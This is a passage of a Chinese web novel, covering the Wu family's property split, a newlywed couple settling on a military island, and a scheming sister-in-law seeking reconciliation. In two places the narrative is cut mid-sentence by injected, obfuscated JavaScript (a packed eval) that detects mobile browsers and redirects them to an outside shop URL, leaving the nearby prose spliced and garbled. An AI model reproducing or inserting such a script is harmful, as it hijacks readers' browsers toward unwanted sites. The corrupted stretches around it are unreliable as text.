“我不说了吗,分家。既然两兄弟不亲了,那就没必要硬凑一家人。四个孩子,不管是谁,愿意尽孝心照顾我姐的,那就一视同仁的分钱,尽不了孝心的就少分点或者不分。” “行,就这么着,分家。” * 顾蔓蔓想进来吃酒席,门童不让。 气得她破口大骂,还动手打人,门童只得报警。 吴燕西正吃着饭,顾母哭着跑了进来:“燕西啊,蔓蔓被拘留了,你快点想想办法。” 吴燕西二话不说丢了筷子,要走,要把他老婆保出来。 气得谈九妹立马甩了顾母一个大嘴巴子。 真是千防万防,怎么也没想到这个老妖婆跑来了。 早知道就该叮嘱门童,顾家的人一律不让进来。 气死她了。 谁家兄弟结婚,做嫂子的作妖把自己作进派出所去的,丢不丢人啊! 气得她说什么也不肯让吴燕西走。 顾母委屈的不行,装可怜道:“他姨,我但凡有点办法也不来这里添乱,这不是派出所不肯放人嘛。我也是不得已啊。” 谈九妹不想废话,只问吴燕西:“你想好了,今天你要是走了,等会分家就没你的事了,今后一分钱也别想要!别以为我当不了你爸的家,你们家当初要不是我跟你安姨周叔帮忙,早就饿死了!” 顾母一听,坏事了,赶紧劝吴燕西留下。 都是她考虑不周,只想着蔓蔓被拘留了,怕她留下案底会离婚,没想到燕西的小姨这么厉害,连保人都不让保。 吴燕西非常为难,看看小姨,再看看丈母娘,本能的还是想去救他老婆。 气得谈九妹举起手来想打他。 周子琰在对面那桌,实在看不下去,叫上吴旭东过来了解情况。 随后毫不犹豫地下了逐客令:“赶紧走。这种亲戚我们高攀不上,今后别来往了。至于分家不分家的,无所谓,我家小东以后会当大老板的,还真看不上那三瓜两枣的小钱!好了,赶紧出去!别坏了姑奶奶的好事!” 吴燕西就这样被轰出去了。 谈九妹劝道:“子琰,话不是这样说的,该小东的就是小东的。” “大舅妈,小姨,我和小东到底该叫你什么呢?”周子琰需要搞清楚谈九妹的立场。 谈九妹无奈:“大舅妈吧,习惯了。” 周子琰笑了,那就是更向着她和小东了。 毕竟,吴家四个孩子都可以喊她小姨,只有小东可以因为周子琰的关系,喊她大舅妈。 周子琰干脆把话说开了:“大舅妈,我是什么脾气你知道的,这种虚情假意的哥哥,认不认有意义吗?不用管他,他哭的日子还在后头。” 谈九妹不劝了:“那好吧,你自己都不在乎,那我也不好说什么了。” “大舅妈,谁说我不在乎,我可在乎了。谁欺负小东我跟谁急!不过你放心,算计父母的钱不是真本事,我家小东不稀罕这么做!我有的是办法让他们哭着给小东下跪,求小东原谅!”周子琰拉着吴旭东,回去吃饭。 吴国正无奈,只好问谈九妹:“这家还分吗?” “先不分了,你把房子卖了,重买一套住着,地址别告诉燕西两口子,我就不信治不了他们!”谈九妹可不是好惹的。 不管子琰这孩子要做什么,都不影响她收拾吴燕西两口子。 吴国正没有反对,他也生气,东东结婚是大事,结果当大哥的满脑子只有那个女人。 改口钱没有准备,饭都没吃完就跑。 太不像话了! 是要治治他们。 回去就让小姨子帮忙,挑个配套好的小区搬走,看那两口子怎么办。 * 散席后,周子琰和吴旭东回到了小公寓。 两人收拾需要带去大院的东西。 她给吴旭东透露了两个消息:“那个顾宝宝是个赌徒,一屁股外债,我听北北姐说,顾蔓蔓这些年起码往顾家捞了十八九万,都给顾宝宝填窟窿去了。另外,我四舅前阵子跟我说,他们城中村应该快拆迁了。不过他们还不知道。” 吴旭东沉思片刻,问道:“如果我借钱给顾宝宝,让他把他家城中村的房子抵押给我,是不是合法的?” “合法。” “那如果他还不上钱——” “房子就是你的。” “那以后要是拆迁,拆迁款也是我的?” “对。别搞这么麻烦,直接问他买,反正他一直被人追债,特别缺钱。而且他妈溺爱他,就算他把房子卖了,也不会把他怎么样。” 吴旭东好奇:“他什么房子?老破小?” “对,非常破。” “那,五万顶天了吧?” 周子琰笑了,“差不多吧,他要是真的着急凑钱,估计两万三也能卖。机会难得,小东,第一桶金怎么挖,看你的了。” 吴旭东笑了:“琰琰,你真好。” “好什么呀,要不是我不能做生意,我早就自己动手了。”周子琰特别喜欢他穿西服的样子,忍不住看了又看。 夸道:“小东,你今天好帅啊!赶紧挣大钱,买个照相机放家里,我不在的时候,你要每天拍一张照片给我留着,等我回来看个够,还可以带到潜艇上去,抱着睡觉。” “琰琰……”这是什么高级的撩拨手段吗,他怎么这么不经撩。 忽然就想那个了。 周子琰跟他腻歪了十几天了,一个眼神就懂了。 笑着勾住他的脖子:“你不是吧,这就受不了了,拍点照片而已嘛。” “琰琰!你好坏啊!” “女人不坏,男人不爱咯!” “你怎么样我都爱。”被爱情冲昏头的新郎官儿,洞房去咯。 可惜腿疼,只能辛苦老婆了,真是惭愧,惭愧得很呐。 惭愧多了,也就习惯了。 事后。 吴旭东瘫在床上,生无可恋。 倒反天罡! 谁家新娘子这么野的! 要了他的老命了。 可是他好喜欢啊! 冲完澡,吴旭东趴在床上,周子琰帮他涂祛疤膏。 有一搭没一搭的闲聊。 “明天先跟我去岛上。” “好。” “大院那边安顿下来后,你再回这边处理顾家的事。” “好的领导。” “小东,咱们把姿态摆高一点,不去争他们二老的钱。最后这钱都是你凭本事赚回来的,谁也不好跟你啰嗦什么。” “遵命,领导。” “不许这样喊我。” “这叫情调。” “贫嘴!” “周子琰。” “嗯?” “等我挣到第一桶金——” “然后呢?” “去拍婚纱照吧。” “……” “我想看。” “好好好,都依你。” “琰琰你真好。” “你也很好。小东啊——” “嗯?” “转过来,背上涂好了,翻个面儿。” “你煎鱼呢?还翻个面儿。怕糊了啊?” “对啊,你可不是鱼吗?翘嘴东!” “哈哈哈。你会钓鱼吗琰琰?” “会钓美人鱼。” “真的假的,在哪儿呢?” “这不是?美人鱼小东,抬胳膊,抹药啦!” 吴旭东脸红了。 涂到小腹处,下意识摁住她的手。 “别,我来。” “为什么?” “明知故问。” “涂个药也会想啊?” “犯法吗?” “不犯法,我就是担心,我不在家的时候你怎么熬啊?” “这个你不用管,总之我一定守身如玉。” “认真的,我不在家,你怎么办?” “憋着。” “实在想呢?” “哎呀周子琰!别问了,再问不理你了!” “用手?” “……”吴旭东生气了,爬起来把药盖上,用被子把自己裹了起来,背过身去,睡觉。 “嘿,小样儿,火气不小啊。”周子琰拽他被子,他倒是没有反抗,就是不肯转过来。 最后周子琰只得叹了口气:“行行行,我不问。你有你的隐私权。” 熄了灯,刚躺下,臭不要脸的男人就凑了上来。 明明前一秒还在生气,这会儿又腻歪起来了。 “周子琰,我不想用手。” “啊……好的,那就不用。” “所以你要补偿我。” “啊?怎么补偿?” “在家的时候加倍,超级加倍!” “……好你个吴旭东,就为这个跟我赌气!” “不行吗?也不知道是谁说的,连我的坏脾气都爱。” “好好好,爱,都爱。你来还是我来?” “一半一半,我腿疼。” 周子琰叹了口气,不忍心了:“我来吧。” 宠着吧,自己选的,怎么办呢。 一晚上要了三次,这胃口,真不是一般的大。 得亏她体格好。 第二天醒来,早饭已经好了。 周子琰怀疑他根本没睡。 吃完饭,带他去岛上。 “锅碗瓢盆儿不用带,到那儿再买吧。两头家。”周子琰换了个小行李箱,“带几件衣服就行了。” “行,听你的。反正我还得回来处理顾家的事。”吴旭东从善如流。 “对了,小楚住哪儿啊?”周子琰摘了假发,换上军装,准备撤。 吴旭东锁门:“跟赵建军挤一块儿了。咱爸公司有职工宿舍,等我挖到第一桶金,就帮他找个好点的住处。” “行,你有安排就好。你不晕船吧?”周子琰戴上帽子,那叫一个英姿飒爽。 吴旭东一回头,看傻了。 忍不住圈住她的腰:“琰琰。” “嗯?” “下次就穿着这一身,我喜欢。”他说的是某个特殊的场合穿着。 周子琰秒懂:“小东你越来越坏了,不过我喜欢,下次吧。” 吴旭东高兴得不行,把晕船的话题抛到了九霄云外。 然后就…… 下船的时候,东倒西歪,我见犹怜。 于是,堂堂一个纯爷们儿,上岛的第一天就闹笑话了。 吴旭东被周子琰一路扶着,送到了家属院。 看看手表,没时间了,只能狠狠亲了他一口:“自己缓缓,这是我画的生活区的地图,这是钥匙,拿着。” 周子琰走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644214|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,一个正在晾衣服的女人笑着过来打招呼:“呦,是周指导的爱人吧?怎么了这是,晕船啊?” 吴旭东虚弱得不行,没有说话,只是痛苦的点了点头。 女人赶紧去屋里拿了板晕车药给他:“我姓叶,我爱人是冒营长,你怎么称呼啊?” “嫂子好,我姓吴。”吴旭东接过药,还好带了瓶矿泉水,赶紧吃了。 叶嫂子笑笑:“以后家里得多备点晕车药,要不然,船来船去的,难受。” “谢谢嫂子,我去买点儿。”吴旭东不想欠人家的,买了赶紧还一板给她。 叶嫂子把衣服晾好,起身往屋里走去,换了身时髦的洋裙,还化了妆,打了个太阳伞出来,问道:“要我带路吗?咱们这岛上可大了,初来乍到的,容易迷路。” “不用了嫂子,我爱人给我画了生活区的地图,我自己去吧。”吴旭东婉拒,一来就欠下人情债可不好。 叶嫂子不高兴了,谁不愿意多看几眼英俊的男人。 算了。 起身回屋,叶嫂子陪孩子念书去了。 吴旭东这才有心思打量这个院子。 三面住人,每一面三间房,南面也是三间,中间是厅堂,左右两边是浴室和卫生间。 男左女右,公用的。 周子琰是副营职,能分两间房,不过因为房间有空余,所以旁边的第三间都做成了厨房。 厨房不算在住房里面,算是海岛给他们的额外福利。 今天开始,他就要住进这朝东的两间房了。 确实不如城市里的居住条件好,但是再好的条件,没有周子琰也是枉然。 所以他宁可住这里。 除非她下水了,十天半个月不回来。 这次还好,暂时不用下水了。 他赶紧去置办日用品。 不一会儿,便大包小包的拎了回来。 叶嫂子家在朝南的那两间,每次他进进出出,她都能在窗口看见。 越看越觉得这小白脸长得真好看。 等孩子学习烦了,出去找小朋友玩了,她便出来帮忙。 “小吴啊,这里条件一般,你能住得惯吗?”叶嫂子没话找话。 吴旭东抢在她前头把东西提屋里去了,随后直接把门关上,站窗口说话:“住得惯,嫂子你忙吧,谢了。” 叶嫂子只好撇撇嘴,买菜去了。 遇到相熟的小姐妹,忍不住嘀咕:“这周指导的爱人长得可真俊,我就没见过这么好看的男人,还白净,不去当电影明星可惜了。” “有这么夸张吗?能比咱团长还好看?”李嫂子不信。 叶嫂子干脆带她回大院,站门口往窗户里看一眼:“看到没?周指导眼光真好,她自己就长得俊,男人又长得这么帅气,将来有了孩子,还不知道有多好看呢!” “不好说,周指导估计生不了吧。我上次去医院遇到她了,听医生说,她有多囊,还挺严重的,月经都不按时来。” “哎呦,那太可惜了。真要是生不了,迟早要离婚。”叶嫂子感慨不已。 * 周子琰还没有改伙,中午在食堂吃。 吃完回来午睡,才发现吴旭东走了。 给她留了张纸条—— “亲爱的琰琰: 叶嫂子太热情了,我很不自在,干脆先回去了。 给你做了饭菜,怕馊,吊在水井里面了。 没想到岛上没有冰箱,我去岸上买一台。 顺便还要处理一下顾家的事,可能会晚点回来,别等我吃晚饭。 晚上见。 ——你的翘嘴东” 周子琰笑着把纸条收好。 得买个剪贴簿,把这些都留着。 点滴珍藏。 晚上从部队回来,吴旭东还没回家。 周子琰冲个澡躺下,一个人怪无聊的,怎么也睡不着。 没办法,睡惯了营房,都是一群人叽叽喳喳的,热闹惯了,猛不丁这么安静,心里真像缺了一块儿。 干脆起床了,把屋里的东西再收拾收拾。 正忙着,吴旭东回来了。 身后跟了两个搬运工,推着一小板车,送冰箱来了。 周子琰赶紧开门:“你挺厉害阿小东,动作这么快。” “没想到送货来岛上还要打申请,多折腾了一个来回,不然我五点就回来了。”吴旭东擦了擦汗,帮着把冰箱抬到房间里。 工人走后,他赶紧冲了个澡,热死了。 太累,反倒是不饿了。 直接倒在床上:“琰琰,你看我公文包里是什么。” “公文包?新买的吗?”周子琰注意到了,黑色牛皮的,还挺像那么回事。 她坐在床边,打开了公文包。 吴旭东在床上扭着往她身边挪了挪,伸手圈住她的腰:“琰琰,你猜我花了几万?” “三万?”周子琰把包扣上,先不看了。 吴旭东趴在她后背上笑:“那个白痴,我找过去的时候,正好被追债的拿刀砍。他吓得都尿裤子了,最后着急凑钱还债,两万五就把房子卖了。” 噗,周子琰乐了,该,骗了吴家那么多钱,结果还是不学好。 她打开公文包,果然,两万五,手续齐全。 这要是拆迁了…… 挺好,不光那十几万可以回来,还能再多赚一些。 她把公文包放下,拉上窗帘:“小东,吃了吗?” “不饿。” “吃点吧。” “吃什么?” “你做的饭还在井里呢,我去拿上来?” “不,吃你。” “……” 可惜这里隔音效果不好,吃起来需要有所节制。 不如在小公寓里放得开。 但是不管怎么说,起码可以多跟自己老婆腻歪腻歪,哪怕来回坐船奔波,也不觉得苦。 * 顾家天塌了。 楚劲雄过来通知他们,这房子他兄弟买下来了,让他们三天之内搬走。 顾母一头雾水,没听说家里有人卖房子啊。 只能问道:“小伙子,你是不是认错地方了。房子要是卖了,我们这一家老少住哪儿啊。” “这可不归我管啊,总之你儿子把房子卖了。你们别拖着不走啊,小心要债的下次上门真的砍你儿子。这次是我兄弟好心,拿钱帮他摆平了这事,下次可就没有这样的好事了!”楚劲雄话带到了,走人。 这下顾家全都傻眼了。 赶紧围着顾宝宝,问他到底干了什么好事! 顾宝宝的右臂上还有伤呢,今天就是这条胳膊,差点被人砍了。 他心有余悸,把心一横:“我没有拿钱去投资。我去赌了,输了。要债的要砍我胳膊!这次先还了两万五,所以饶我一命。” “你到底欠了多少啊!”顾母绝望了,这日子咋过呦,天爷哎! 顾宝宝死猪不怕开水烫:“还有三十几万。我说,干脆搬走得了,反正这破房子说拆迁说了七八年了,到现在也没动静。不如换钱咯,还保住我一条胳膊呢。” …… 全家人面面相觑。 三十几万! 再不走,下次就是砍他们全家了。 立马收拾收拾,去乡下亲戚家避避风头。 顾蔓蔓不得已,只好跟吴燕西带着孩子回了婆家。 结果大门钥匙换了。 两口子在外面喊了半天爸爸,愣是没有人开门。 只得拼命的敲门。 最后是一个陌生的男人过来开的门:“你好,找哪位?” 两口子傻眼了。 一问才知道,他老子把房子卖了,搬到别的地方去了。 去哪儿了,不知道。 “不用问,肯定是你小姨出的馊主意!”顾蔓蔓气得浑身发抖。 想再跑回城中村去住,却见几个彪形大汉拿着砍刀在她家门外嚷嚷,吓得一家四口立马灰溜溜的走了。 一时间找不到地方住,只得先去吴燕西的大学申请了职工宿舍,凑合几天。 刚走没几天,拆迁办便来人了。 楚劲雄激动得睡不着,赶紧给吴旭东打了个电话:“东姐夫!你要发财啦!我就知道,跟你混一准没错!” 26. 求和 大学职工宿舍。 一家四口愁云惨雾。 吴燕西今年三十三,比吴旭东足足大了十一岁。 他毫不怀疑,即便弟弟没有走丢,兄弟俩也是没有多少共同话题的。 所以那天得知周子琰找到了小弟,他并没有多么激动喜悦。 相反,以前两个妹妹在外地,家里只有他这个大哥陪着父母,可以尽情的捞好处。 现在小弟回来了,他这宛如独生子一样的待遇,肯定是不复存在了。 其实他也做了最坏的打算,无非是老爸拿出十万八万的补偿给小弟,他这个做大哥的少分一点好处。 谁能想到,现实远比他想象的更坏,他们一家四口直接被赶出来了。 走投无路,只能来职工楼挤挤。 可惜他性格懦弱,不会来事,到现在连个副教授都评不上。 所以职工宿舍只能给他两间。 这是已婚教师的标准配置,没办法,学校就是这个条件。 这跟他爸原来的那套公寓楼比起来,简直一个天上一个地下。 那里是四室两厅一厨两卫的大套房,他跟顾蔓蔓一间房,老两口一间房,两个孩子一间房,还能空出一间做书房。 厨房也宽敞,南北通透,采光很好。 就连两个卫生间也是明间,全部带窗。 而且南边有一个大阳台,两个小飘窗,北边也有露台。 装修也很不错,是古典的中式风格,实木地板,粉白的墙,家具用的全是实打实的榉木。 虽然比不上红木的高档,但也算是中档里面品质不错的品牌了。 整个房子住着身心舒畅,一点拘束的感觉都没有。 现在好了,拢共就两个房间,厨房和卫生间都在外面,公用的。 装修更是谈不上,原生态的水泥墙,水泥地,家具全是那种一看就很廉价的杉木家具。 椅子坐上去就晃悠,八仙桌上满是油污,木板缝隙里,掉进去的米粒和菜汤早就黏在了一起,生出灰惨惨的霉菌毛毛,怪吓人的。 至于床铺,只有一张,一米五宽,一坐上去就嘎吱嘎吱响。 被褥铺盖全都没有,自己置办去吧。 大女儿吴超男今年九岁,一看到这么差劲的地方,立马哭了起来:“我不要住这里,我要住爷爷家,我要住爷爷家。” 二女儿顾亚男户口报在顾家亲戚家,今年七岁,也不喜欢这种破烂地方,可惜她随爸,性格怯懦,不敢哼哼。 加上妈妈因为她这个二胎又是女儿,格外的嫌弃她,便把怒火都发泄在她身上,所以她小小年纪已经有了自闭的倾向。 这会儿姐姐在哭,她却只是缩角落里闷声不响,抱着自己的布娃娃,一刻也不肯松开。 顾蔓蔓看到她这个窝囊样子就来气,一把夺了她的布娃娃,将她搡到了里屋:“滚去写你的暑假作业!一天到晚摆着个哭丧脸给谁看!” 吴燕西没劝,劝了只会火上浇油。 他沉默地转身,买床去了。 很快弄了张铁架子的折叠床回来,一米二宽,摆在外间,给两个女儿睡。 这才凑合了几天,一家四口全都受不了了。 人在逆境的时候,很容易互相埋怨。 这不,顾蔓蔓把责任全部推到了吴燕西身上:“你也真是没脑子,你小姨都放了狠话了,你还去找我?我不过是拘留七天,又不留案底的,你怕什么?这下好了,可给她抓到机会了,怂恿咱爸卖了房子,把咱们赶到这鸟不拉屎的地方来,这日子怎么过?” “怎么怪我呢?还不是你妈跑到婚礼上去哭,把我吓坏了吗。小姨不发火才怪了,她最相信那些迷信的东西,别人结婚你妈去哭,多晦气啊。”吴燕西平时是个泥人儿,任由顾蔓蔓搓圆捏扁。 可是今天他实在是忍不住了。 住在这里难受啊,狭窄逼仄,把人的脾气都搞坏了。 他点了根烟抽上,吞云吐雾的。 顾蔓蔓气死了,一把夺了他的烟,狠狠碾灭,骂道:“抽抽抽,你还有钱抽!还不赶紧想办法去买房子,住在这里要把人逼疯的!” “我哪有钱?钱不都在你手上吗。”吴燕西叹气,“你之前不是存了几万在银行吗?去取出来吧,咱们自己买房住。” “说得轻巧,你知道现在房价多贵吗?就咱们之前住的那套,都涨到一千二一平了。”顾蔓蔓算了笔账,那套房子一百五十九个平方,那岂不是卖了将近二十万? 好好好,老不死的,这么有钱都不舍得给大儿子花,看他老了谁给他养老。 吴燕西劝道:“那套是位置好,户型好,装修好,当然卖的贵,咱们找个普通一点的就行了,我打听过了,只要七八百一平。就算是一百平左右的大三房,也不过八万左右就能买下来了。” “说是这么说,可是钱都拿出来买房的话,咱们吃什么喝什么啊。”顾蔓蔓心虚了,转身准备去做饭。 吴燕西跟着去了外面水池那边,帮忙打个下手。 吃完饭,才问她:“那你手里到底还有多少钱?回回你问我爸要钱,没有不给的,你不会都给你弟弟了吧?” “别问了,总之,你自己想办法吧。”顾蔓蔓哪里敢说实话。 吴燕西是泥人不假,可是泥人也有三分脾气。 真要是知道她把钱都贴娘家了,前几天刚取的五千还被顾宝宝抢走了,不得气炸了。 至于存折上,害,只有她自己的一点工资,也就一万不到。 想想就生气。 宝宝这个蠢货,坑死她了,骗她去跟朋友搞投资,谁想到他去赌了啊! 真是气死了。 好在吴燕西暑假不用上班,可以在家照看孩子。 她赶紧借着上班的由头,出去想想办法。 账目是填不上的,只能去求和。 至于找谁,顾蔓蔓没想好。 要么找谈九妹,要么找周家。 至于小叔子那里,她不想去,免得看到他就来气,回头谈崩了就更加无法回头了。 真是不可理喻,不让他扔碗就跑了,这脾气谁受得了啊。 要不是他作妖,她也不至于这么倒霉。 等着瞧吧,周子琰那么强势的女人,早晚跟他离婚。 她找单位请了一天假。 服装厂最近效益不好,也没有为难她,只是要求她后面几天上班的时候,把她自己的任务赶一赶,别堆着。 顾蔓蔓松了口气,赶紧买了点礼品,去拜访谈九妹。 谈九妹也是航空领域的专家。 只不过,安一方是设计方面的,在研究所任职,她是加工制造方向的,在军工厂忙碌。 研究所在岛上,军工厂在这边的城郊。 两口子的相处模式,有点像如今的周子琰跟吴旭东。 不是你到城里来跟我相聚,就是我去岛上找你团圆。 不过顾蔓蔓也不清楚,谈九妹今天到底在城里还是在岛上。 总之,先去城郊的住处看看吧。 结果扑了个空。 顾蔓蔓只好去周家。 十九楼顶层大平层,她只在地产商的宣传海报上见过,并没有亲自进去看看。 今天也许能一睹真容。 毕竟这种奢侈的户型,目前全城就只有三套。 一套是周中擎跟老安两口子住着。 一套被一个来内地发展的港商买下来了。 还有一套待售,没办法,太贵。 售价两千多一平,五百多平,那就是一百多万。 算上装修,家具,怎么着不得两百万吗? 买不起,一般人真的买不起。 来到门外,顾蔓蔓挤出一脸的笑,敲门。 无人应答。 门内的周子琛从猫眼里看了看,轻手轻脚的回到厨房,跟他老爸传话:“是顾蔓蔓。” “不管她,去睡吧,饭好了爸喊你。”周中擎文武双全,做饭也是行家。 今天老安不在家,他当然要把家里的懒虫照顾好了。 周子琛揉了揉惺忪的睡眼,靠在厨房门口,没走。 问道:“我妈呢?找我姐去了?” “嗯,她不放心,去岛上看看,顺便给你姐姐姐夫添置点东西。”周中擎在围裙上擦擦手,转身戴上隔热手套,打开烤箱。 一盘酥软香甜的叫花鸡出炉了。 周子琛饿了,干脆转身刷牙去了。 刷完牙过来开啃,嘀咕道:“还在敲,烦死了,怎么有这么厚颜无耻的人。” “你将来可别学吴燕西。”周中擎其实不担心,只是话赶话。 他们家也是四个孩子,连男女顺序都是一样的。 不过,老安是二婚,他是初婚。 当初结婚,人人都说他吃亏了,他却并不觉得。 这不,就连小杰跟蕾蕾都特别孝顺。 两人从来不跟弟弟妹妹争东西。 不过他们不争是他们的事,做爸妈的给不给就是另外一回事了。 这俩孩子都是他从小带在身边养大的,跟子琰子琛一样亲。 所以他一早说好了,家里的财产,四个人平分,谁也别争。 其实他知道,小杰跟蕾蕾不会争的。 子琰自己有本事,根本不屑争。 只有子琛这边是个未知数。 不是他不放心自己儿子,而是这小子万一跟吴燕西一样恋爱脑,找个搅家精,那就完犊子了。 恋爱的事情,做长辈的完全没办法预判。 适当的提醒一下,也算是一种警醒。 周子琛乐了:“爸,瞧你说的,我怎么会学他,大哥二姐对我那么好,我要是跟他们争,那不是丧良心吗。再说了,你不是他们的亲老子,可我是他们的亲弟弟啊。” “没错,都是你妈的孩子,也都是爸的孩子嘛。你二姐生下来就是我带的,你哥也喜欢赖在我身边,第一次坐飞机就是我带他飞的。”周中擎没说假话。 当初老安前夫牺牲的时候,蕾蕾还没出生呢。 遗腹子,多少人嫌弃晦气。 他却不觉得。 相反,他觉得那是对烈士后代的羞辱。 所以这些年,他挺护着那两个孩子的。 也不反对他们去祭拜亲生父亲,毕竟是为国捐躯的,是英烈,是功臣。 这些道理,周子琛当然明白。 他啃得满手流油,呜呜哇哇的保证:“放心吧爸,我有数。其实找什么女人都是次要的,关键还是吴燕西自己拎不清,要不然,顾蔓蔓也不敢这样。” “没错,还是要你自己拎得清。”周中擎放心了,这小子能抓住问题的本质,那就不需要担心什么了。 敲门声终于没了,他去猫眼看了看。 嘿,这个顾蔓蔓,脸皮挺厚啊。 居然就坐在他家门口不走了。 他也不怕耗下去,他们家什么东西都是全的,几天不出去都饿不死,看谁耗得过谁。 天黑下来的时候,顾蔓蔓饥肠辘辘,终于撑不住了,提着东西走了。 本打算把东西留下,又怕被人拿走,白白花钱。 华灯初上,大街上人潮如龙。 顾蔓蔓提着东西,漫无目的的走着。 回去吧,吴燕西再闹着要她取钱怎么办? 不回去吧,都七点多了,一天没吃,饿死了。 公交快来的时候,她还是咬咬牙,去了对面,坐上了去城郊的车。 干脆,等在了谈九妹家楼下。 这里前两年刚拆迁,建的都是那种小洋房,有点像农村乡下的楼型。 不过装修非常不错,都带个小院子。 是专门安置军工厂里的干部的。 职工们则住在后面的小区楼里。 顾蔓蔓等到八点,终于来人了。 然而回来的不是谈九妹,而是谈九妹跟前头男人生的女儿,改了姓,如今叫安小蓓。 安家的姑娘,大多都叫些花花草草的名字,说是为了统一风格,看起来就是一家人。 安小蓓跟周子琰的二姐安小蕾听着就像是亲姐妹,其实一点血缘关系都没有。 她在附近的医院上班,下班了,哈欠连天的回来了。 刚到院子外面,便看到了一脸堆笑的顾蔓蔓。 吴燕西到底是她的姨表哥,安小蓓还是给了顾蔓蔓一点面子,请她到家里坐坐。 顾蔓蔓看看人家住的房子,再想想自家住的职工楼,简直浑身难受。 她赔着笑脸,问道:“小蓓啊,小姨呢,还在加班吗?” “嗯,你找我妈有事?”安小蓓倒了杯热水,打开冰箱,拿出几个保鲜盒,去厨房热饭热菜。 这都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“别管她。” “哦,好的,新来的护工怎么样?” “挺好的,谢谢你啊小蓓,这次真是让你们费心了。” “客气什么啊,都是自家人。那就这样,三姨父,有什么问题给我打电话。” “好的小蓓,你真是个好孩子,谢谢谢谢。” 挂断电话,安小蓓直接下了逐客令:“表嫂,别怪我不留情面,你做事做得太不上道儿了,自己好好琢磨去吧。还有,以后别来找我了,我很忙的,没空。这都困死了还要跟你玩猜心游戏,烦不烦啊。” 可是顾蔓蔓目的没达到呢,不想走。 气得安小蓓直接把那些礼品全都提了出去。 作势要扔,吓得顾蔓蔓赶紧去拦。 这一推一搡的,安小蓓用了个巧劲儿,就把人给撵出去了。 哐当一下锁了门。 隔着铁艺花门,安小蓓还是奉劝了一句:“我要是你呢,我就会找小东登门道歉。说到底,你伤害的不是我们,是小东。言尽于此,你好自为之吧。” 顾蔓蔓张了张嘴,到底是没能反驳什么。 转身的时候,安小蓓又提醒了一句:“对了,你可别去找我六姑他们啊,我姑跟我姑父什么脾气你知道的,只会适得其反。” 说的是周中擎跟老安。 老安行六,家里兄妹九个。 其实这九个是三家人的子女,都叫老安的爸妈养大了。 其中几个是姨妈家的,几个是叔叔家的。 战乱年代,不少孩子都没了爸妈,运气好的,遇到老安的爸妈,不怕苦不怕累,把几个孩子全都接收下来,拉扯大了。 如今就是血脉交融的至亲家人。 运气不好的,那就跟周中擎一样,叔伯舅姨一大堆,没有一个愿意收留他的。 所以老安的爸妈,真是天地间少有的大好人。 老两口福报深厚,八十几岁的人了,还身体康健,吃嘛嘛香呢。 所以,周中擎最烦的就是手足阋墙,亲人不睦。 他在安家感受到的良好氛围,是他童年最最渴望的温情,自然希望子女亲戚都能耳濡目染。 现在,他的三姑娘有个这样的婆家,他当然闹心了。 不过是看在小东可怜,又是个人品不错的好孩子,要是换了别的人家,这门婚事周中擎是不会同意的。 不是经济差距大,而是吴燕西这两口子太让人寒心了。 谁家也不愿意自己闺女有这么一个大伯哥和大嫂。 闹心啊。 所以安小蓓的这一声提醒,真的是好意。 顾蔓蔓却会错了意,觉得安小蓓瞧不起她。 回到职工宿舍就跟吴燕西念叨:“是啊,周家那样的门楣,我当然高攀不上,可是再高的门楣又怎么样,他女儿还不是要管我叫一声嫂子。现在摆出这么一副姿态,不就是想帮他女儿女婿跟咱们争家产吗?真是够恶心的。” 吴燕西也觉得这几家亲戚都在联合起来欺负他。 不免气恼。 吃完饭,越想越憋屈。 只得问顾蔓蔓:“你不是上班去了吗?怎么跑他们家去了?” “我下班才去的。”顾蔓蔓撒了个谎。 吴燕西恍然:“你存折上到底多少钱?不行明天请半天假,把钱取出来,咱们贷款买一套。我今天找朋友打听过了,有个新开的楼盘,搞促销呢,前五十个打八折。这么一算,大三居只要六万多就能拿下了。首付百分之三十,两万出头就行。” 顾蔓蔓赶紧岔开话题:“哎呀,这么着急干什么,再看看,着急的时候容易做出错误的决定,买不到好的。” 吴燕西盯着她,忽然好奇:“你不会存折上没钱了吧?” “谁说的,我有多少钱要告诉你吗!你爸有多少钱你也没告诉我啊!吴燕西,你别太过分,咱们结婚的时候说好了的,你不许过问的我存款。”顾蔓蔓急了,越是心虚,越是咋呼得厉害。 她这一吼,吴燕西的窝囊劲儿犯了,只好叹了口气:“行吧,那我明天想想办法,找我爸的老战友说说情,不行我自己借去。” 27. 气炸(二更) 老安来了趟岛上。 大包小包的,带了好多东西。 还帮忙收拾房子。 吴旭东过意不去,赶紧端茶倒水,让她老人家歇着。 老安也没有坚持,坐下后打量了一下院子:“这房子二十几年啦,还是当年的样子。” “妈你以前也住这里吗?”吴旭东毕竟太多年没来过这里了,哪里记得。 老安接过茶水,喝了两口:“没有,我们当时在另外一个岛上,不是这里。不过我们这里有朋友,所以来过几次。” 当时能有这样的房子,就算很不错的待遇了。 不过改革开放快十年,全国人民的生活条件都改善了不少,便显得这些院子有些落伍了。 她宽慰道:“再坚持半年,等到新大院建好了,那住着就舒服多了。” “新大院?是后面的那片工地吗?”吴旭东毕竟刚来几天,白天还要去城里办事,对岛上的情况还不算完全熟悉。 老安点点头:“是啊,到时候都跟城里的那些小区一样,楼上楼下的住着,夏天开了窗就能吹吹海风,能凉快不少。” “那挺好的,是直接分配吧,产权不归自己?”吴旭东不太懂这些。 老安笑着拿了几本书给他:“是,集体的,不归个人。给,自己研究一下,不管你今后想做什么,多了解一些政策和经济学的知识,总是好的。” “谢谢妈。”吴旭东把书接过来,小心收好,问道,“吴家那边……都好吧?” 